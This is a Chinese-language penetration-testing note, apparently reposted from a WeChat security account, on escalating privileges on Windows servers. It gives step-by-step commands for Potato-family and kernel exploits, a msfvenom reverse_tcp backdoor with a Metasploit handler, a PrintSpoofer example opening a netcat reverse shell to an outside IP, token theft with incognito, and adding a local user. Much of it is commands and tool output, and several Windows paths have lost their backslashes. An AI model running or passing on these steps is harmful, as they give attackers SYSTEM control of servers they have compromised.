提权的常用方法
windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权 ftp提权等
提权的常用命令
systeminfo | findstr OS
#获取系统版本信息
product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress
#检测系统软件包
hostname
#获取主机名称
whoami /all
#获取当前用户的详细信息
whoami /priv
#显示当前用户的安全特权
net start
#查看服务
quser or query user
#获取在线用户
netstat -ano | findstr 3389
#获取rdp连接来源IP
programdata :
#分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn
#列出已安装的补丁
REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber
#获取远程端口
tasklist /svc | find "TermService"
#获取服务pid
netstat -ano |find "pid"
#获取远程端口
-
windows 提权辅助脚本
检测系统补丁脚本
https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-sugg
查看补丁
https://github.com/chroblert/WindowsVulnScan
windows内核提权exp
https://github.com/SecWiki/windows-kernel-exploits
https://lolbas-project.github.io/
提权辅助网页 (hacking8.com)
windows漏洞提权流程
能够执行cmd命令->是否打补丁->补丁对应exp->获取服务器权限 执行命令的时候 aspx->php和asp
如果管理员删除服务器组件 wscript.shell 无法在asp执行cmd命令 这个时候可以使用aspx的后门查看是否有权限执行cmd命令
asp
aspx
补丁查询
1.hacking8在线查询补丁
http://blog.neargle.com/win-powerup-exp-index/
http://bugs.hacking8.com/tiquan/
exp:
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits
2 .wesng 查询补丁
https://github.com/bitsadmin/wesng
python wes.py --update-wes #更新pip3 install chardet #下载包python wes.py c:sys.txt #检测补丁
3. WindowsVulnScan 查询补丁
https://github.com/chroblert/WindowsVulnScan
windows-exp-suggester
这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出
CVE是否有公开的EXP信息。
windows常用提权
通过上面的补丁查询,列出可用的exp,在webshell里使用提权exp对服务器进行提权。
1.烂土豆家族(MS16-075)提权
漏洞描述
当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块
(SMB) 中存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。
若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的 应用程序,从而控制受影响的系统。此更新通过更正 Windows 服务器消息块 (SMB) 服务器处理凭据转
发请求的方式来修复此漏洞。
注:烂土豆(Rotten Potato)提权是一个本地提权,是针对本地用户的,不能用于域用户
影响版本
Windows 10 version 1809 和 Windows Sever 2019 之前的系统
具体:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2016/ms16-075
漏洞复现:
Rotten Potato
适用条件:
iis账户,权限太低,不能通过load incognito令牌窃取,列出系统账号进行提权,所以需要烂土豆,然后就可以列出系统账号,获取system权限
限制条件:
-
需要支持SeImpersonate或者SeAssignPrimaryToken权限
-
开启DCOM
-
本地支持RPC或者远程服务器支持PRC并能成功登录
-
能够找到可用的COM对象
漏洞复现:
1.拿到MSF的session
2.下载烂土豆exp
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
3.使用msf上传exp,并执行进行令牌窃取
upload /root/rottenpotato.exe
execute -Hc -f rottenpotato.exe
list_tokens -u
impersonate_token "NT AUTHORITYSYSTEM"
Juicy Potato
限制条件:
-
需要支持SeImpersonate或者SeAssignPrimaryToken权限
-
开启DCOM
-
本地支持RPC或者远程服务器支持PRC并能成功登录
-
能够找到可用的COM对象
普通版复现:
1.查看当前用户权限,是否符合要求
whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
2、查看RPC默认端口是否为135
netstat -ltn | grep rpc
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
3、根据操作系统选择可用的CLSID
参考列表
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统win7,选择CLSID为{555F3418-D99E-4E51-800A-6E89CFD8B1D7}
4、选择一个系统未占用的端口作为监听端口
例如,最终参数如下:
JuicyPotato.exe -t t -p c:windowssystem32cmd.exe -l 1111 |
魔改版复现:
利用文件
GitHub - itm4n/PrintSpoofer: Abusing Impersonation Privileges on Windows 10 and Server 2019
下载文件 https://github.com/uknowsec/JuicyPotato 上传到webshell的可执行目录
执行完后看到权限已经是system了
PrintSpoofer
https://github.com/itm4n/PrintSpoofer
示例:
PrintSpoofer v0.1 (by @itm4n)
Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
-c <CMD> Execute the command *CMD*
-i Interact with the new process in the current command prompt (default is non-interactive)
-d <ID> Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
-h That's me :)
Examples:
- Run PowerShell as SYSTEM in the current console
PrintSpoofer.exe -i -c powershell.exe
- Spawn a SYSTEM command prompt on the desktop of the session 1
PrintSpoofer.exe -d 1 -c cmd.exe
- Get a SYSTEM reverse shell
PrintSpoofer.exe -c "c:Tempnc.exe 10.10.13.37 1337 -e cmd"
printspoofer.exe -i -c "whoami"
SweetPotato
https://github.com/CCob/SweetPotato
漏洞修复
升级版本
2.CVE-2014-4113 (MS14-058)提权
漏洞描述
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代
码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
影响版本
该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。
漏洞复现
支持cmd执行
支持cmd执行 如果开启 wscript.shell cmd执行没反应 大概是当前的用户无法执行系统目录下的cmd, 这个时候可以上传或者远程下载cmd到可写可执行目录,
上传成功之后 把路径填写进来执行 也是可以执行命令 如果上传出错显示 缺少对象 那是因为服务器上传的文件大小超出了
这个时候可以选择webshell后门里的远程下载功能 下载远程cmd到本地指定目录
上传编译好的提权exp 执行即可获取系统权限
漏洞修复
升级
3. CVE-2020-0787 提权
漏洞描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须 登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
影响版本
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0787
漏洞复现
下载地址https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
建立普通用户 本地切换登录 执行
c:windowsdebugWIABitsArbitraryFileMoveExploit.exe
net user moonsec 123456 /add
修复建议
升级
使用metasplit 提权
使用metasplit 模块提权
提权过程
-
在kali上生成反向连接后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.195 lport=12345 -f exe >s.exe
-
把生成的后门文件上传到可执行目录。
-
在kali上 使用msfconsole 命令 启动metasplite
2.3 监听ip和端口 这里的ip和端口要生成后门的端口和ip一致,ip可以设置成0.0.0.0 允许任何主机连接入来 但是存在风险。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.195
set lport 12345 exploit
2.4.在webshell里面允许后门
-
获取meterpreter
获取系统信息和当前账号 发现权限较低。需要进行提权,提升当前所在服务器的权限。
-
特权提升
可以使用常规的提权exp进行测试
windows 常见的提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
-
msf的基础命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
-
查询补丁
run post/windows/gather/enum_patches
-
使用模块进行提权
搜索模块 search ms14_058
查看模块信息
info exploit/windows/local/ms16_075_reflection_juicy use exploit/windows/local/ms16_075_reflection_juicy show options 查看需要设置什么参数
set SESSION 1 设置SESSION 为1
exploit 运行
可以看到普通iis用户已经成功提权到系统权限。
-
维持权限
系统是x64的 把后门迁移到别的进程
ps 列出进程号
migrate 2744 explore进程中
-
使用模块提权审查
IIS APPPOOLDefaultAppPool @ 12SERVER7
meterpreter x86/windows
----
-----------
----
Required Description
-------- -----------
yes The session to run this module on yes Displays a detailed description
false
Current Setting
---------------
Name
---- SESSION
SHOWDESCRIPTION
use post/multi/recon/local_exploit_suggester set session 1
exploit
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
for the available exploits
msf6 post(multi/recon/local_exploit_suggester) > sessions -l
Active sessions
===============
Id Name Connection
-- ----
------ 1
Type
Information
192.168.0.120:12345 -> 192.168.0.178:58932 (192.168.44.138)
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1 SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.44.138 - Collecting local exploits for x86/windows... [*] 192.168.44.138 - 37 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 192.168.44.138 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.44.138 -
exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.44.138 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) >
或者在meterpreter使用 run post/multi/recon/local_exploit_suggester 执行但是 msf6 均失败 目前未知原因 可能是系统bug
run post/windows/gather/enum_patches
使用metasplit 进行令牌窃取提权
适用系统
Microsoft Windows XP Professional SP3和之前版本Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
提权过程
从已有令牌中窃取:
use incognito #进入incognito模块
list_tokens -u #列出令牌
impersonate_token "NT AUTHORITYSYSTEM" # 选择要窃取的账号
从进程中窃取:
窃取TrustedInstaller权限:
sc start TrustedInstaller #启动TrustedInstaller服务
steal_token <PID> #记录TrustedInstaller的PID并进行令牌窃取
返回之前的 token :
rev2self
incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken 的列举(需要 administrator 权限) incognito.exe list_tokens -u
操作:模拟其他用户的令牌(复制 token)**
如果要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c "完整的Token 名" cmd.exe
例 如 :
模拟 system 权 限 用 户 ( 提 权 至 system):
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe
获取域普通用户
incognito.exe execute -c "moonsectest" cmd.exe
参考:暗月老师的渗透手册
https://xz.aliyun.com/t/12588
https://xz.aliyun.com/t/12542
原文始发于微信公众号(凯撒安全实验室):内网笔记·windwos提权(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论